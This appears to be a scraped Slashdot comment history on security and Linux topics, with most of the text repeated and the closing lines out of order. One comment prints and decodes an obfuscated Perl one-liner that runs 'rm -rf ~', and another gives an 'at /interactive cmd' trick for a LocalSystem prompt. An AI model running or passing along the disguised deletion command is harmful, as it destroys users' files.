He's probably using etckeeper, which is a wrapper that does keep permissions, ownership, and empty directories. It generates the commits automatically on update and daily for manual changes.
Yes, I use it too. Very nice to be able to say "oh, looks like I broke the VPN configuration when I forgot to restart it last week... how did it look before?"
If this is actually the only thing keeping them back, a good solution is to just watermark the downloads with the purchaser's name/email/account name. Do it in an obvious manner (like a comment field) in addition to a hidden watermark that at least requires some work to remove.
This won't stop the pirates, of course - I don't know of any watermarking scheme that is resistant to a coalition of people with different watermarks - but it will require another step of comparable difficulty to ripping the DVD if you don't want to share the watermarked version.
Once that's done, they just have to send threatening letters to (or cancel the accounts of) people who uploaded in order to force people to put in the effort to remove the watermarks. Maybe they'll get a few convictions of the people too stupid to remove the watermarks prior to uploading to p2p, but those people (should) understand the risks involved with uploading.
I know I would jump at getting unencumbered versions of various movies, they're a lot easier to use than DVDs or DRM'd downloads.
Depends on what the DRM is trying to protect. Music players, video players for downloadable content, and basically anything where the content isn't tied to a physical object like a game disc will need a private key of some kind to encrypt the data on their volatile storage. While most of this will probably be done using symmetric encryption, you still need some way for the server that hands out the content to prove that it is a real device and not an emulated device, and that's normally done with a locally stored private key.
This attack is relevant when you are trying to extract the private key of something like a TPM, in order to defeat the DRM protections it is trying to provide, or decrypt the drive whose key it is holding.
The cookie is not to identify you (what do you think your username is for?) but to identify the browser/computer that you are using. Obviously, since you're signing in to an account, the privacy issues of storing a cookie are rather irrelevant.
At least on all the systems like this that I have used, the username and password are still required; the cookie just bypasses that additional email/question/whatever. That means that stealing the cookie doesn't get you anywhere useful, as compared to not having the system at all. Requiring this cookie does make some attacks harder (for example, phishing attacks that impersonate/proxy the real site), so it's not a useless measure or just to irritate you.
You can turn off overcommit in Linux if want to - most people find the default behavior more useful since many applications allocate memory they do not need to use, and don't handle out of memory errors gracefully. Change the sysctl "vm.overcommit_memory" to 2, and see "Documentation/vm/overcommit-accounting" in the linux kernel source for related sysctls.
There are occasions where you might want to use a lot of swap, if there are one-time-run applications that use a ton of RAM to do something like image manipulation/scientific computing/whatever. Those might be rare, but it would be very irritating to get out-of-memory errors just because the kernel doesn't feel like using swap.
When the OOM killer is invoked, the application isn't usually allocating memory - it's using memory that it has allocated before and that the kernel overcommitted on. So there's no good way to send an out-of-memory error other than by something like a signal handler. I think the reason this isn't done is because the signal handler would likely need to allocate RAM to run (maybe to get its code paged off disk) and this wouldn't help with the memory pressure.
The attacks are pretty much all timing attacks on the source and destination. Since these 2 machines are always going to be there regardless of the intermediary count, increasing the intermediaries doesn't help much.
To defeat timing attacks, you have to make tor even slower (by passing dead traffic around and delaying stuff) - and that isn't practical. And yes, they have been demonstrated; it's not just theoretical.
(oh, and it's not always 3 - hidden services use 4 because they are protecting both ends from one another, but those aren't used when you're torrenting)
Actually, DNS doesn't have to be involved in this at all. Your ISP is your upstream router, they just need to route through their rewriting servers. Once that is done, they do whatever rewriting/insertion they want.
The real problem is getting the browser loaded with the root CA. Once that is done, they also have to add that root CA to any new browsers that the user downloads (iirc firefox doesn't use windows's certificate list). They would also have some problems with websites that have self-signed certificates - those will cause a warning in normal browsers, so the LACK of a warning could be troublesome. Of course they could just regenerate another self-signed cert, but then you run into the problem of people who actually verify the fingerprint (which includes selecting "always trust this certificate" while using some other internet connection).
Certainly most people wouldn't be able to detect it if they inserted a root CA, but it's likely someone would, and in that case I'd guess we would see another slashdot story about "$evilISP is sniffing all your bank accounts and credit card numbers!"
IPv6 also solves the problem of worm propagation - the density of active computers in the ipv6 address space is far lower. It might approach 10 hosts in a 64-bit subnet (1.8x10^19 addresses), so a worm would have to expend a significant amount of effort at finding computers to attack, unilike IPv4 where you can take a random address and have a good chance of having a Windows computer on the other end.
This spyware had access to the client machine (probably as admin, but that wouldn't be absolutely necessary). Once something has access to your machine, it can do whatever it wants: keylogging, proxying, modifying the destination account number on every transaction, etc. The only way to make it secure in this case is to have a separate channel (like phone) that is used to authenticate each transaction.
Certificates don't use DNS to establish trust, they use public/private key encryption, and a signiture from a trusted authority
Storing certificates isn't a bad idea, but it isn't needed in this case, since the browser will warn you if an improperly signed certificate is present. Not that people pay much attention to warnings, but that's just an education problem.
Some types of man in the middle do not need to modify either IP, so any authentication based on IP is useless for them.
For the attacks that need to modify the IP, if the hacker is proxying the connectoin, he can modify the HTML+Javascript+whatever that it runs on, changing it to use his IP instead of yours.
A solution to the BankSecurity.com problem is to have banks use only their main domain name for transactions and to have the users bookmark the bank's https site. Have the domain on the key fob too.
I agree, the only way to prevent a trojained computer is to use a side channel authorization, which perferrably tells the customer "You are planning to transfer $20,000 to bank account 123456 at the Bank of Nigeria" before asking for their approval.
Even with IPv6, one can still preform a man-in-the-middle without modifying the IP. The only good way to prevent man-in-the-middle is to use the SSL certificates and get people not to enter their info when the invalid certificate dialog pops up.
Calling you may be a good idea, perhaps only for larger transactions because it might be a nuisince.
Actually, if you enabled multi-user support in win98 (and 95/ME iirc), and checked the right box, there would be a c:\windows\Profies\username\My Documents folder.
The lower 64 bits of an ipv6 address are generated in one of three ways 1) from the MAC address (or other hardware) like 0102:03ff:fe04:0506 2) randomly (used for "privacy" to keep from tracking by MAC) 3) manually
Manual config is not needed for normal computers or most servers, just servers where you might be changing the network cards out. So finding other computers by chance will be really hard.
Worms would have to infect from websites/other servers that you contact - but we already have that with ipv4 and a NAT doesn't stop it.
A One-time pad is completely secure, even though it only uses 1 or 0.
Binary systems can be just as secure as any other system. Encryption that would take longer than the lifetime of the universe to break is also considered secure, and is usually used instead of a one-time pad.
Re:Not a problem (yet)
on
SHA-1 Broken
·
· Score: 5, Informative
With this technique, you can create 2 files, by modifying both of them, that have the same hash. That does not mean that you can create a file with a given hash.
Iowa State's mail servers uses Kerberos 4, not 5. Don't know why, but it does. I am able to get fetchmail working here, compiled on Debian with fetchmail-6.2.5 and the kerberos4kth-dev package.
See
http://wiki.amesfug.org/AmesFUG/IsuHints/Kerberize dMail.
Well, at least for Sygate you need to run under LocalSystem - you can't just go to task manager and kill it. That's just another step for a program with admin rights though. IIRC, ZoneAlarm has something similar.
("at/interactive cmd" will get you a LocalSystem command prompt)
Slashdot Mirror
He's probably using etckeeper, which is a wrapper that does keep permissions, ownership, and empty directories. It generates the commits automatically on update and daily for manual changes. Yes, I use it too. Very nice to be able to say "oh, looks like I broke the VPN configuration when I forgot to restart it last week... how did it look before?"
If this is actually the only thing keeping them back, a good solution is to just watermark the downloads with the purchaser's name/email/account name. Do it in an obvious manner (like a comment field) in addition to a hidden watermark that at least requires some work to remove.
This won't stop the pirates, of course - I don't know of any watermarking scheme that is resistant to a coalition of people with different watermarks - but it will require another step of comparable difficulty to ripping the DVD if you don't want to share the watermarked version.
Once that's done, they just have to send threatening letters to (or cancel the accounts of) people who uploaded in order to force people to put in the effort to remove the watermarks. Maybe they'll get a few convictions of the people too stupid to remove the watermarks prior to uploading to p2p, but those people (should) understand the risks involved with uploading.
I know I would jump at getting unencumbered versions of various movies, they're a lot easier to use than DVDs or DRM'd downloads.
Depends on what the DRM is trying to protect. Music players, video players for downloadable content, and basically anything where the content isn't tied to a physical object like a game disc will need a private key of some kind to encrypt the data on their volatile storage. While most of this will probably be done using symmetric encryption, you still need some way for the server that hands out the content to prove that it is a real device and not an emulated device, and that's normally done with a locally stored private key.
This attack is relevant when you are trying to extract the private key of something like a TPM, in order to defeat the DRM protections it is trying to provide, or decrypt the drive whose key it is holding.
The cookie is not to identify you (what do you think your username is for?) but to identify the browser/computer that you are using. Obviously, since you're signing in to an account, the privacy issues of storing a cookie are rather irrelevant.
At least on all the systems like this that I have used, the username and password are still required; the cookie just bypasses that additional email/question/whatever. That means that stealing the cookie doesn't get you anywhere useful, as compared to not having the system at all. Requiring this cookie does make some attacks harder (for example, phishing attacks that impersonate/proxy the real site), so it's not a useless measure or just to irritate you.
Look into the CookieCuller extension for firefox; it will let you keep the cookie for your bank's site while still deleting all other cookies on exit.
You can turn off overcommit in Linux if want to - most people find the default behavior more useful since many applications allocate memory they do not need to use, and don't handle out of memory errors gracefully. Change the sysctl "vm.overcommit_memory" to 2, and see "Documentation/vm/overcommit-accounting" in the linux kernel source for related sysctls.
There are occasions where you might want to use a lot of swap, if there are one-time-run applications that use a ton of RAM to do something like image manipulation/scientific computing/whatever. Those might be rare, but it would be very irritating to get out-of-memory errors just because the kernel doesn't feel like using swap.
When the OOM killer is invoked, the application isn't usually allocating memory - it's using memory that it has allocated before and that the kernel overcommitted on. So there's no good way to send an out-of-memory error other than by something like a signal handler. I think the reason this isn't done is because the signal handler would likely need to allocate RAM to run (maybe to get its code paged off disk) and this wouldn't help with the memory pressure.
The attacks are pretty much all timing attacks on the source and destination. Since these 2 machines are always going to be there regardless of the intermediary count, increasing the intermediaries doesn't help much.
To defeat timing attacks, you have to make tor even slower (by passing dead traffic around and delaying stuff) - and that isn't practical. And yes, they have been demonstrated; it's not just theoretical.
(oh, and it's not always 3 - hidden services use 4 because they are protecting both ends from one another, but those aren't used when you're torrenting)
Actually, DNS doesn't have to be involved in this at all. Your ISP is your upstream router, they just need to route through their rewriting servers. Once that is done, they do whatever rewriting/insertion they want.
The real problem is getting the browser loaded with the root CA. Once that is done, they also have to add that root CA to any new browsers that the user downloads (iirc firefox doesn't use windows's certificate list). They would also have some problems with websites that have self-signed certificates - those will cause a warning in normal browsers, so the LACK of a warning could be troublesome. Of course they could just regenerate another self-signed cert, but then you run into the problem of people who actually verify the fingerprint (which includes selecting "always trust this certificate" while using some other internet connection).
Certainly most people wouldn't be able to detect it if they inserted a root CA, but it's likely someone would, and in that case I'd guess we would see another slashdot story about "$evilISP is sniffing all your bank accounts and credit card numbers!"
IPv6 also solves the problem of worm propagation - the density of active computers in the ipv6 address space is far lower. It might approach 10 hosts in a 64-bit subnet (1.8x10^19 addresses), so a worm would have to expend a significant amount of effort at finding computers to attack, unilike IPv4 where you can take a random address and have a good chance of having a Windows computer on the other end.
This spyware had access to the client machine (probably as admin, but that wouldn't be absolutely necessary). Once something has access to your machine, it can do whatever it wants: keylogging, proxying, modifying the destination account number on every transaction, etc. The only way to make it secure in this case is to have a separate channel (like phone) that is used to authenticate each transaction.
Certificates don't use DNS to establish trust, they use public/private key encryption, and a signiture from a trusted authority
Storing certificates isn't a bad idea, but it isn't needed in this case, since the browser will warn you if an improperly signed certificate is present. Not that people pay much attention to warnings, but that's just an education problem.
Some types of man in the middle do not need to modify either IP, so any authentication based on IP is useless for them.
For the attacks that need to modify the IP, if the hacker is proxying the connectoin, he can modify the HTML+Javascript+whatever that it runs on, changing it to use his IP instead of yours.
A solution to the BankSecurity.com problem is to have banks use only their main domain name for transactions and to have the users bookmark the bank's https site. Have the domain on the key fob too.
I agree, the only way to prevent a trojained computer is to use a side channel authorization, which perferrably tells the customer "You are planning to transfer $20,000 to bank account 123456 at the Bank of Nigeria" before asking for their approval.
Even with IPv6, one can still preform a man-in-the-middle without modifying the IP. The only good way to prevent man-in-the-middle is to use the SSL certificates and get people not to enter their info when the invalid certificate dialog pops up.
Calling you may be a good idea, perhaps only for larger transactions because it might be a nuisince.
You are. It's called tidal locking.
http://en.wikipedia.org/wiki/Moon
Actually, if you enabled multi-user support in win98 (and 95/ME iirc), and checked the right box, there would be a c:\windows\Profies\username\My Documents folder.
The lower 64 bits of an ipv6 address are generated in one of three ways
1) from the MAC address (or other hardware) like 0102:03ff:fe04:0506
2) randomly (used for "privacy" to keep from tracking by MAC)
3) manually
Manual config is not needed for normal computers or most servers, just servers where you might be changing the network cards out. So finding other computers by chance will be really hard.
Worms would have to infect from websites/other servers that you contact - but we already have that with ipv4 and a NAT doesn't stop it.
Depends on what you want.
::ffff:1.2.3.4 for addressing ipv4 addresses from ipv6, which is (for example) what my ipv6 services see when an ipv4 client connects.
There's
There's also the 2002:0102:0304::/48 subnet that allows ipv6 addresses to be created from an ipv4 address.
From ipv4, you can't access ipv6-only addresses without using a proxy (sixxs.net has one) or using 2002: ipv6 addresses
$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see
; ;
Adding whitespace
($?) ? s:;s:s;;$?:
: s;;=]=>%-{<-|}<&|`{;
y; -/:-@[-`{-};`-{~" -;
s;;$_;see
$? is equal to zero normally, so that's the same as
s//=]=>%-{<-|}<&|`{/;
y/ -\/:-@[-`{-}/`-{~" -/;
s//$_/see
The first statement => $_ = '=]=>%-{<-|}<&|`{';
second translates $_ to 'system"rm -rf ~"'
third: eval $_
Binary systems can be just as secure as any other system. Encryption that would take longer than the lifetime of the universe to break is also considered secure, and is usually used instead of a one-time pad.
With this technique, you can create 2 files, by modifying both of them, that have the same hash. That does not mean that you can create a file with a given hash.
Iowa State's mail servers uses Kerberos 4, not 5. Don't know why, but it does. I am able to get fetchmail working here, compiled on Debian with fetchmail-6.2.5 and the kerberos4kth-dev package. See http://wiki.amesfug.org/AmesFUG/IsuHints/Kerberize dMail.
CDex for Windows and Grip for Linux
Well, at least for Sygate you need to run under LocalSystem - you can't just go to task manager and kill it. That's just another step for a program with admin rights though. IIRC, ZoneAlarm has something similar.
/interactive cmd" will get you a LocalSystem command prompt)
("at